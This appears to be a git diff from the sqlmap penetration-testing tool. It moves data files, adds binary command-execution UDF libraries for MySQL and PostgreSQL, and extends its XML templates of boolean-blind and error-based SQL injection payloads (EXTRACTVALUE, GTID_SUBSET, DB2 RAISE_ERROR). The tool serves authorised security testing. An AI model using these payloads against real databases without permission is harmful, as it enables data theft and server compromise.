+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 +Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 diff --git a/data/txt/wordlist.tx_ b/data/txt/wordlist.tx_ new file mode 100644 index 00000000000..f2b52c90658 Binary files /dev/null and b/data/txt/wordlist.tx_ differ diff --git a/udf/README.txt b/data/udf/README.txt similarity index 100% rename from udf/README.txt rename to data/udf/README.txt diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ new file mode 100644 index 00000000000..c5339680c1b Binary files /dev/null and b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ new file mode 100644 index 00000000000..aed988c71eb Binary files /dev/null and b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ new file mode 100644 index 00000000000..8c09c2a49ba Binary files /dev/null and b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ new file mode 100644 index 00000000000..1e29a745889 Binary files /dev/null and b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..2227f89936f Binary files /dev/null and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..7ece1b633c9 Binary files /dev/null and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..6816064fa49 Binary files /dev/null and b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..0e79dbb195a Binary files /dev/null and b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..bb2aaf8ba91 Binary files /dev/null and b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..506b0eb3567 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..ef49da86edc Binary files /dev/null and b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..a1ca1cc710b Binary files /dev/null and b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..0d2f0bc0a53 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..147d8db3b19 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..09662d8a928 Binary files /dev/null and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..42a0c7fd61f Binary files /dev/null and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..2db1ade11d5 Binary files /dev/null and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..1609227d01a Binary files /dev/null and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..36db3b0eff7 Binary files /dev/null and b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..7e8760c7e36 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..044e0976c44 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..d3866e04c93 Binary files /dev/null and b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..4c957014480 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..dd637decae2 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..d92cbd30edc Binary files /dev/null and b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..38562790479 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..b72a328525b Binary files /dev/null and b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..214272877c7 Binary files /dev/null and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 00000000000..b7221fd873a Binary files /dev/null and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..d7e0c8a46a5 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..e8b109791c2 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..2748ae32c81 Binary files /dev/null and b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ new file mode 100644 index 00000000000..60c9971218f Binary files /dev/null and b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ diff --git a/xml/banner/generic.xml b/data/xml/banner/generic.xml similarity index 69% rename from xml/banner/generic.xml rename to data/xml/banner/generic.xml index 6e671825f0b..6bd38d6b4c7 100644 --- a/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -3,7 +3,7 @@ - + @@ -34,7 +34,7 @@ - + @@ -83,6 +83,10 @@ + + + + @@ -115,10 +119,22 @@ + + + + + + + + + + + + @@ -135,7 +151,35 @@ - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -151,11 +195,22 @@ - + - - + + + + + + + + + + + + + diff --git a/xml/banner/mssql.xml b/data/xml/banner/mssql.xml similarity index 100% rename from xml/banner/mssql.xml rename to data/xml/banner/mssql.xml diff --git a/xml/banner/mysql.xml b/data/xml/banner/mysql.xml similarity index 75% rename from xml/banner/mysql.xml rename to data/xml/banner/mysql.xml index b637ebb92e2..456c9510b82 100644 --- a/xml/banner/mysql.xml +++ b/data/xml/banner/mysql.xml @@ -1,5 +1,10 @@ + + @@ -36,19 +41,31 @@ - + - + - + - + + + + + + + + + + + + + diff --git a/xml/banner/oracle.xml b/data/xml/banner/oracle.xml similarity index 100% rename from xml/banner/oracle.xml rename to data/xml/banner/oracle.xml diff --git a/xml/banner/postgresql.xml b/data/xml/banner/postgresql.xml similarity index 100% rename from xml/banner/postgresql.xml rename to data/xml/banner/postgresql.xml diff --git a/xml/banner/server.xml b/data/xml/banner/server.xml similarity index 87% rename from xml/banner/server.xml rename to data/xml/banner/server.xml index 2a6fc28e300..4d99cade0bd 100644 --- a/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -3,14 +3,14 @@ - + @@ -74,23 +74,31 @@ - + - + - + - + - + + + + + + + + + @@ -131,36 +139,36 @@ - - - - - - - - - + - + - + - + - + - + + + + + + + + + @@ -293,6 +301,35 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -407,6 +444,18 @@ + + + + + + + + + + + + @@ -587,6 +636,10 @@ + + + + @@ -714,6 +767,14 @@ + + + + + + + + @@ -800,6 +861,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/servlet-engine.xml b/data/xml/banner/servlet-engine.xml similarity index 71% rename from xml/banner/servlet-engine.xml rename to data/xml/banner/servlet-engine.xml index 403f143592c..c34d9617e1b 100644 --- a/xml/banner/servlet-engine.xml +++ b/data/xml/banner/servlet-engine.xml @@ -7,6 +7,14 @@ + + + + + + + + diff --git a/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml similarity index 56% rename from xml/banner/set-cookie.xml rename to data/xml/banner/set-cookie.xml index fc454fcaaa0..6f7bed59c02 100644 --- a/xml/banner/set-cookie.xml +++ b/data/xml/banner/set-cookie.xml @@ -27,7 +27,7 @@ - + @@ -50,4 +50,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/banner/sharepoint.xml b/data/xml/banner/sharepoint.xml similarity index 100% rename from xml/banner/sharepoint.xml rename to data/xml/banner/sharepoint.xml diff --git a/xml/banner/x-aspnet-version.xml b/data/xml/banner/x-aspnet-version.xml similarity index 100% rename from xml/banner/x-aspnet-version.xml rename to data/xml/banner/x-aspnet-version.xml diff --git a/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml similarity index 60% rename from xml/banner/x-powered-by.xml rename to data/xml/banner/x-powered-by.xml index 64741769c85..f52fd9aad2a 100644 --- a/xml/banner/x-powered-by.xml +++ b/data/xml/banner/x-powered-by.xml @@ -19,6 +19,22 @@ + + + + + + + + + + + + + + + + @@ -35,11 +51,19 @@ - - + + + + + + + + + + diff --git a/xml/boundaries.xml b/data/xml/boundaries.xml similarity index 96% rename from xml/boundaries.xml rename to data/xml/boundaries.xml index 7317fdaf055..ccf93177a58 100644 --- a/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -213,6 +213,15 @@ Formats: AND ((('[RANDSTR]' LIKE '[RANDSTR] + + 2 + 1 + 1,2 + 3 + %' + AND '[RANDSTR]%'='[RANDSTR] + + 2 1 @@ -428,7 +437,7 @@ Formats: 9 1 1 - +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+ @@ -437,8 +446,8 @@ Formats: 9 1 2 - +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+ + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+' @@ -545,6 +554,15 @@ Formats: + + 5 + 7 + 1 + 3 + [RANDSTR1], + [RANDSTR2] + + 4 diff --git a/xml/errors.xml b/data/xml/errors.xml similarity index 58% rename from xml/errors.xml rename to data/xml/errors.xml index b8c8165dca1..605ffacd9a9 100644 --- a/xml/errors.xml +++ b/data/xml/errors.xml @@ -1,22 +1,26 @@ - - + + + + + + + - @@ -24,7 +28,7 @@ - + @@ -32,14 +36,13 @@ - - + @@ -52,9 +55,9 @@ + - @@ -63,7 +66,6 @@ - @@ -78,19 +80,18 @@ - - + + - @@ -104,13 +105,12 @@ - + - @@ -123,17 +123,18 @@ + - - + + + - @@ -143,7 +144,6 @@ - @@ -151,21 +151,98 @@ - - + + + - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml similarity index 93% rename from xml/payloads/boolean_blind.xml rename to data/xml/payloads/boolean_blind.xml index efb9e5cdcbc..0cf17140456 100644 --- a/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -484,18 +484,18 @@ Tag: - MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 1 1,2,3,8 1 - AND ([INFERENCE])*[RANDNUM] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL @@ -503,18 +503,18 @@ Tag: - MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 3 - 1,2,3 + 1,2,3,8 2 - OR ([INFERENCE])*[RANDNUM] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL @@ -596,6 +596,45 @@ Tag: Oracle
+ + + SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + 1 + 2 + 1 + 1 + 1 + AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+
+ + + SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) + 1 + 3 + 3 + 1 + 2 + OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+
+ @@ -824,7 +863,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -845,7 +883,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1193,7 +1230,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1214,7 +1250,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1332,6 +1367,44 @@ Tag:
+ + IBM DB2 boolean-based blind - ORDER BY clause + 1 + 4 + 1 + 3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+
+ + + IBM DB2 boolean-based blind - ORDER BY clause (original value) + 1 + 5 + 1 + 3 + 1 + ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + + + ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) + +
+ IBM DB2 +
+
+ HAVING boolean-based blind - WHERE, GROUP BY clause @@ -1452,7 +1525,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1474,7 +1546,6 @@ Tag:
Microsoft SQL Server Sybase - Windows
@@ -1525,13 +1596,13 @@ Tag: 1 1-8 1 - ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL -- - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL
SAP MaxDB diff --git a/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml similarity index 81% rename from xml/payloads/error_based.xml rename to data/xml/payloads/error_based.xml index 410cada6941..3023df9fba8 100644 --- a/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -2,6 +2,95 @@ + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 1 + 1,2,3,8,9 + 1 + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + 2 + 1 + 3 + 1,2,3,8,9 + + 1 + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ + + MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + 2 + 2 + 1 + 1,2,3,8,9 + 1 + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ + + MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) + 2 + 2 + 3 + 1,8,9 + 1 + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) 2 @@ -135,7 +224,7 @@ MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 1 + 4 1 1,2,3,8,9 1 @@ -159,7 +248,7 @@ MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 1 + 4 3 1,2,3,8,9 @@ -182,51 +271,22 @@ - MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 2 + 5 1 - 1,2,3,8,9 + 7 1 - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
